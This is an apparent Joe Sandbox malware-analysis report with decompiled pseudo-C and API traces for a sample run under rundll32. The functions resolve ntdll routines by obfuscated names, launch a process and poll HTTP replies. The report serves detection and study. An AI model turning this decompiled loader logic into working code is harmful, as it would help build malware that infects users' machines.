                    0x03182e12
                    0x03182e16
                    0x03182e1c
                    0x03182e22
                    0x03182e28
                    0x03182e2b
                    0x03182e31
                    0x03182e34
                    0x03182e39
                    0x03182e3d
                    0x03182e3d
                    0x03182e4a
                    0x03182e58
                    0x03182e5d
                    0x03182e5f
                    0x03182e65
                    0x03182e6b
                    0x03182e6d
                    0x03182e72
                    0x03182e76
                    0x03182e92
                    0x03182e92
                    0x03182e65
                    0x00000000
                    0x03182e4c
                    0x03182e51
                    0x03182e94
                    0x03182e98
                    0x03182ea2
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x03182ea2
                    0x03182e53
                    0x00000000
                    0x03182e53
                    0x03182e4a

                    APIs
                    • GetTickCount.KERNEL32 ref: 03182BA8
                    • wsprintfA.USER32 ref: 03182BF5
                    • wsprintfA.USER32 ref: 03182C12
                    • wsprintfA.USER32 ref: 03182C34
                    • wsprintfA.USER32 ref: 03182C5B
                    • wsprintfA.USER32 ref: 03182C7C
                    • wsprintfA.USER32 ref: 03182CA7
                    • HeapFree.KERNEL32(00000000,?), ref: 03182CBA
                    • wsprintfA.USER32 ref: 03182CD9
                    • HeapFree.KERNEL32(00000000,?), ref: 03182CEA
                      • Part of subcall function 03186B59: RtlEnterCriticalSection.NTDLL(057C95C0), ref: 03186B75
                      • Part of subcall function 03186B59: RtlLeaveCriticalSection.NTDLL(057C95C0), ref: 03186B93
                    • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 03182D19
                    • GetTickCount.KERNEL32 ref: 03182D2B
                    • RtlEnterCriticalSection.NTDLL(057C95C0), ref: 03182D3F
                    • RtlLeaveCriticalSection.NTDLL(057C95C0), ref: 03182D5D
                      • Part of subcall function 03186675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 031866A0
                      • Part of subcall function 03186675: lstrlen.KERNEL32(00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 031866A8
                      • Part of subcall function 03186675: strcpy.NTDLL ref: 031866BF
                      • Part of subcall function 03186675: lstrcat.KERNEL32(00000000,00000000), ref: 031866CA
                      • Part of subcall function 03186675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,03183ECE,?,7491C740,03183ECE,00000000,057C9600), ref: 031866E7
                    • StrTrimA.SHLWAPI(00000000,03189280,?,057C9600), ref: 03182D8F
                      • Part of subcall function 03187563: lstrlen.KERNEL32(057C9BD0,00000000,00000000,00000000,03183EF9,00000000), ref: 03187573
                      • Part of subcall function 03187563: lstrlen.KERNEL32(?), ref: 0318757B
                      • Part of subcall function 03187563: lstrcpy.KERNEL32(00000000,057C9BD0), ref: 0318758F
                      • Part of subcall function 03187563: lstrcat.KERNEL32(00000000,?), ref: 0318759A
                    • lstrcpy.KERNEL32(00000000,?), ref: 03182DB2
                    • lstrcpy.KERNEL32(?,?), ref: 03182DBC
                    • lstrcat.KERNEL32(?,?), ref: 03182DCC
                    • lstrcat.KERNEL32(?,00000000), ref: 03182DD3
                      • Part of subcall function 03186536: lstrlen.KERNEL32(?,00000000,057C9DD8,00000000,03186F0A,057C9FFB,43175AC3,?,?,?,?,43175AC3,00000005,0318A00C,4D283A53,?), ref: 0318653D
                      • Part of subcall function 03186536: mbstowcs.NTDLL ref: 03186566
                      • Part of subcall function 03186536: memset.NTDLL ref: 03186578
                    • wcstombs.NTDLL ref: 03182E76
                      • Part of subcall function 0318597D: SysAllocString.OLEAUT32(?), ref: 031859B8
                      • Part of subcall function 031861DA: RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
                    • HeapFree.KERNEL32(00000000,?), ref: 03182EBF
                    • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 03182ECB
                    • HeapFree.KERNEL32(00000000,?,?,057C9600), ref: 03182ED8
                    • HeapFree.KERNEL32(00000000,?), ref: 03182EE5
                    • HeapFree.KERNEL32(00000000,?), ref: 03182EEF
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Heap$Free$wsprintf$lstrlen$CriticalSectionlstrcat$lstrcpy$CountEnterLeaveTickTrim$AllocAllocateStringmbstowcsmemsetstrcpywcstombs
                    • String ID:
                    • API String ID: 1185349883-0
                    • Opcode ID: 1f3288ca332329b6a6f02dd20331e766c1c1cbd72b964a389e78f1541eed5025
                    • Instruction ID: d72b615d066fb12b7856483d7f3294defc557872bd5d976d3bf12c8868ea3cdd
                    • Opcode Fuzzy Hash: 1f3288ca332329b6a6f02dd20331e766c1c1cbd72b964a389e78f1541eed5025
                    • Instruction Fuzzy Hash: 27A16771501314AFC716FB64DC84E6A7BE8EF8C614F090929F989D7220DB31D896CF69
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03187238 Relevance: 13.6, APIs: 9, Instructions: 145stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 43%
                    			E03187238(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0x318a3dc; // 0x57c9c80
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E03186ABD();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E03186ABD();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E031842E9(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E031842E9(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E0318398D(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x318918c;
						}
						_t70 = E03185FA1(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E031833DC(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x318a348; // 0x263d5a8
								_t102 =  *0x318a138; // 0x3187ddd
								_t28 = _t105 + 0x318bd10; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E0318398D(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x3189190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E031833DC(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E031861DA(_v24);
								} else {
									_t92 =  *0x318a348; // 0x263d5a8
									_t44 = _t92 + 0x318ba20; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E031861DA(_v8);
						}
						E031861DA(_v12);
					}
					E031861DA(_v16);
				}
				return _v28;
			}



































                    0x0318723e
                    0x03187246
                    0x03187249
                    0x03187256
                    0x03187259
                    0x03187260
                    0x03187267
                    0x0318726a
                    0x03187277
                    0x0318727a
                    0x0318727d
                    0x03187282
                    0x03187287
                    0x0318728f
                    0x03187294
                    0x03187299
                    0x0318729f
                    0x031872a3
                    0x031872ac
                    0x031872b0
                    0x031872b2
                    0x031872b2
                    0x031872ba
                    0x031872bf
                    0x031872c4
                    0x031872ca
                    0x031872d1
                    0x031872e2
                    0x031872e9
                    0x031872fb
                    0x03187300
                    0x03187305
                    0x0318730e
                    0x03187317
                    0x03187320
                    0x03187336
                    0x0318733b
                    0x0318733f
                    0x03187343
                    0x03187348
                    0x0318734d
                    0x0318734f
                    0x0318734f
                    0x03187359
                    0x03187362
                    0x03187369
                    0x03187385
                    0x03187389
                    0x031873c2
                    0x0318738b
                    0x0318738e
                    0x03187396
                    0x031873a7
                    0x031873af
                    0x031873b7
                    0x031873bb
                    0x031873bb
                    0x03187389
                    0x031873ca
                    0x031873ca
                    0x031873d2
                    0x031873d2
                    0x031873da
                    0x031873da
                    0x031873e6

                    APIs
                    • GetTickCount.KERNEL32 ref: 03187250
                    • lstrlen.KERNEL32(00000000,00000005), ref: 031872D1
                    • lstrlen.KERNEL32(?), ref: 031872E2
                    • lstrlen.KERNEL32(00000000), ref: 031872E9
                    • lstrlenW.KERNEL32(80000002), ref: 031872F0
                    • lstrlen.KERNEL32(?,00000004), ref: 03187359
                    • lstrlen.KERNEL32(?), ref: 03187362
                    • lstrlen.KERNEL32(?), ref: 03187369
                    • lstrlenW.KERNEL32(?), ref: 03187370
                      • Part of subcall function 031861DA: RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: lstrlen$CountFreeHeapTick
                    • String ID:
                    • API String ID: 2535036572-0
                    • Opcode ID: 5cc4ce8eba04b01bdb40e1faf81ba681d45ad89df17634378e3e68b9c3f8ee0f
                    • Instruction ID: 6dc5cbf0ab501183edeb9563cfb889dfea67cacc754e2de002f4b521f4c8d1d0
                    • Opcode Fuzzy Hash: 5cc4ce8eba04b01bdb40e1faf81ba681d45ad89df17634378e3e68b9c3f8ee0f
                    • Instruction Fuzzy Hash: C5518D36900219ABCF11FFA5DC449EE7BB5EF48314F198025ED04AB250DB35CA11DFA8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 031837DF Relevance: 10.6, APIs: 7, Instructions: 109librarymemoryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 73%
                    			E031837DF(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E03186BF9(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E03187AB0( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x318a300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x318a348; // 0x263d5a8
					_t18 = _t47 + 0x318b706; // 0x73797325
					_t68 = E0318127E(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x318a348; // 0x263d5a8
						_t19 = _t50 + 0x318b86c; // 0x57c8e14
						_t20 = _t50 + 0x318b3f6; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E03185B56();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E03185B56();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x318a2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E031861DA(_t70);
				goto L12;
			}


















                    0x031837e7
                    0x031837e7
                    0x031837f6
                    0x031837fd
                    0x03183802
                    0x0318390f
                    0x03183916
                    0x03183916
                    0x03183811
                    0x03183819
                    0x0318381c
                    0x03183821
                    0x03183836
                    0x0318383c
                    0x0318383d
                    0x03183840
                    0x03183846
                    0x03183849
                    0x0318384e
                    0x03183856
                    0x03183862
                    0x03183866
                    0x031838f6
                    0x0318386c
                    0x0318386c
                    0x03183871
                    0x03183878
                    0x0318388c
                    0x03183890
                    0x031838df
                    0x03183892
                    0x03183893
                    0x0318389a
                    0x031838b3
                    0x031838b5
                    0x031838b9
                    0x031838c0
                    0x031838da
                    0x031838c2
                    0x031838cb
                    0x031838d0
                    0x031838d0
                    0x031838c0
                    0x031838ee
                    0x031838ee
                    0x03183866
                    0x031838fd
                    0x03183906
                    0x0318390a
                    0x00000000

                    APIs
                      • Part of subcall function 03186BF9: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,031837FB,?,?,?,?,00000000,00000000), ref: 03186C1E
                      • Part of subcall function 03186BF9: GetProcAddress.KERNEL32(00000000,7243775A), ref: 03186C40
                      • Part of subcall function 03186BF9: GetProcAddress.KERNEL32(00000000,614D775A), ref: 03186C56
                      • Part of subcall function 03186BF9: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 03186C6C
                      • Part of subcall function 03186BF9: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 03186C82
                      • Part of subcall function 03186BF9: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 03186C98
                    • memset.NTDLL ref: 03183849
                      • Part of subcall function 0318127E: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,03183862,73797325), ref: 0318128F
                      • Part of subcall function 0318127E: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 031812A9
                    • GetModuleHandleA.KERNEL32(4E52454B,057C8E14,73797325), ref: 0318387F
                    • GetProcAddress.KERNEL32(00000000), ref: 03183886
                    • HeapFree.KERNEL32(00000000,00000000), ref: 031838EE
                      • Part of subcall function 03185B56: GetProcAddress.KERNEL32(36776F57,03182425), ref: 03185B71
                    • CloseHandle.KERNEL32(00000000,00000001), ref: 031838CB
                    • CloseHandle.KERNEL32(?), ref: 031838D0
                    • GetLastError.KERNEL32(00000001), ref: 031838D4
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
                    • String ID:
                    • API String ID: 3075724336-0
                    • Opcode ID: 3f972cfd92bcff691ef297870480260caa7b2909fa373689be400015b2f7a724
                    • Instruction ID: 548a0310c2bef736d800427bf960fb50f13bbfe2e20c31bd5bb2a8d4476d6091
                    • Opcode Fuzzy Hash: 3f972cfd92bcff691ef297870480260caa7b2909fa373689be400015b2f7a724
                    • Instruction Fuzzy Hash: 93312E7A900308AFDB10FFA8DC88D9EBBBCEF0C204F144965EA15A7114D7359945CF68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03183FA5 Relevance: 10.6, APIs: 7, Instructions: 92networksynchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03183FA5(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E031833DC(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E031861DA(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E031816B2( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                    0x03183fa5
                    0x03183fa5
                    0x03183fb5
                    0x03183fb8
                    0x03183fbc
                    0x03183fc2
                    0x03183fc7
                    0x03183fe0
                    0x03183ff4
                    0x03183ffb
                    0x03184002
                    0x03184055
                    0x0318405b
                    0x03184061
                    0x0318409c
                    0x031840a2
                    0x00000000
                    0x00000000
                    0x00000000
                    0x03184061
                    0x03184008
                    0x00000000
                    0x0318400f
                    0x0318401d
                    0x03184020
                    0x03184023
                    0x0318402f
                    0x03184033
                    0x03184095
                    0x03184035
                    0x03184047
                    0x03184085
                    0x03184090
                    0x03184049
                    0x0318404c
                    0x03184050
                    0x03184050
                    0x03184047
                    0x00000000
                    0x03184033
                    0x03184008
                    0x03183fcc
                    0x03183fd2
                    0x03183fd5
                    0x03183fda
                    0x00000000
                    0x00000000
                    0x00000000
                    0x0318406a
                    0x03184072
                    0x03184077
                    0x0318407a
                    0x00000000

                    APIs
                    • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,74CF81D0,00000000,00000000), ref: 03183FBC
                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,03183F34,00000000,?), ref: 03183FCC
                    • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 03183FFE
                    • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 03184023
                    • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 03184043
                    • GetLastError.KERNEL32 ref: 03184055
                      • Part of subcall function 031816B2: WaitForMultipleObjects.KERNEL32(00000002,03187C47,00000000,03187C47,?,?,?,03187C47,0000EA60), ref: 031816CD
                      • Part of subcall function 031861DA: RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
                    • GetLastError.KERNEL32(00000000), ref: 0318408A
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                    • String ID:
                    • API String ID: 3369646462-0
                    • Opcode ID: b6843bc2a4e3647ea95024e59bfbc9e713bf38d8816357325f6f9aa3f17ca03c
                    • Instruction ID: 7887e89e62c7411729c0eac9c743a2307dced73a72b2d70df89ea09dd8c1ae72
                    • Opcode Fuzzy Hash: b6843bc2a4e3647ea95024e59bfbc9e713bf38d8816357325f6f9aa3f17ca03c
                    • Instruction Fuzzy Hash: E731F0B9D00709EFDB20FFA5C8849AFFBB8EB0C304F144969E542E6141DB71AA449F65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03183A63 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(00000000), ref: 03183ABD
                    • SysAllocString.OLEAUT32(0070006F), ref: 03183AD1
                    • SysAllocString.OLEAUT32(00000000), ref: 03183AE3
                    • SysFreeString.OLEAUT32(00000000), ref: 03183B4B
                    • SysFreeString.OLEAUT32(00000000), ref: 03183B5A
                    • SysFreeString.OLEAUT32(00000000), ref: 03183B65
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: String$AllocFree
                    • String ID:
                    • API String ID: 344208780-0
                    • Opcode ID: 8fe0ba7604fef0b5d07c908cb5deee81919da21183d44fce6431deffebc2e538
                    • Instruction ID: 73fcee472b96d5967368698be06d7596673dd2cfd8ab9cd3b065f0f228f82bb3
                    • Opcode Fuzzy Hash: 8fe0ba7604fef0b5d07c908cb5deee81919da21183d44fce6431deffebc2e538
                    • Instruction Fuzzy Hash: 0F417F3AD00609ABDB01EFFCD844AAEB7B9EF49700F184826E911EB150DB71D905CF95
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03186BF9 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03186BF9(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E031833DC(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x318a348; // 0x263d5a8
					_t1 = _t23 + 0x318b436; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x318a348; // 0x263d5a8
					_t2 = _t26 + 0x318b85c; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E031861DA(_t54);
					} else {
						_t30 =  *0x318a348; // 0x263d5a8
						_t5 = _t30 + 0x318b849; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x318a348; // 0x263d5a8
							_t7 = _t33 + 0x318b72b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x318a348; // 0x263d5a8
								_t9 = _t36 + 0x318b883; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x318a348; // 0x263d5a8
									_t11 = _t39 + 0x318b87b; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E03187A08(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                    0x03186c08
                    0x03186c0c
                    0x03186cce
                    0x03186c12
                    0x03186c12
                    0x03186c17
                    0x03186c2a
                    0x03186c2c
                    0x03186c31
                    0x03186c39
                    0x03186c40
                    0x03186c42
                    0x03186c47
                    0x03186cc6
                    0x03186cc7
                    0x03186c49
                    0x03186c49
                    0x03186c4e
                    0x03186c56
                    0x03186c58
                    0x03186c5d
                    0x00000000
                    0x03186c5f
                    0x03186c5f
                    0x03186c64
                    0x03186c6c
                    0x03186c6e
                    0x03186c73
                    0x00000000
                    0x03186c75
                    0x03186c75
                    0x03186c7a
                    0x03186c82
                    0x03186c84
                    0x03186c89
                    0x00000000
                    0x03186c8b
                    0x03186c8b
                    0x03186c90
                    0x03186c98
                    0x03186c9a
                    0x03186c9f
                    0x00000000
                    0x03186ca1
                    0x03186ca7
                    0x03186cac
                    0x03186cb3
                    0x03186cb8
                    0x03186cbd
                    0x00000000
                    0x03186cbf
                    0x03186cc2
                    0x03186cc2
                    0x03186cbd
                    0x03186c9f
                    0x03186c89
                    0x03186c73
                    0x03186c5d
                    0x03186c47
                    0x03186cdc

                    APIs
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,031837FB,?,?,?,?,00000000,00000000), ref: 03186C1E
                    • GetProcAddress.KERNEL32(00000000,7243775A), ref: 03186C40
                    • GetProcAddress.KERNEL32(00000000,614D775A), ref: 03186C56
                    • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 03186C6C
                    • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 03186C82
                    • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 03186C98
                      • Part of subcall function 03187A08: memset.NTDLL ref: 03187A87
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: AddressProc$AllocateHandleHeapModulememset
                    • String ID:
                    • API String ID: 1886625739-0
                    • Opcode ID: 53120f2aaa5084243e76d963120016e8fcbc11e861e5626d6d952cfa3c3802a1
                    • Instruction ID: d682612bfc26d77f91972eeafeaab6b7d41a07cb98e903a85e0575afd1134c5c
                    • Opcode Fuzzy Hash: 53120f2aaa5084243e76d963120016e8fcbc11e861e5626d6d952cfa3c3802a1
                    • Instruction Fuzzy Hash: 2E219FB420170AAFD711FF6ACD84E6AB7ECEF1C204B044826FA05C7214E770E9488F68
                    Uniqueness

                    Uniqueness Score: -1.00%

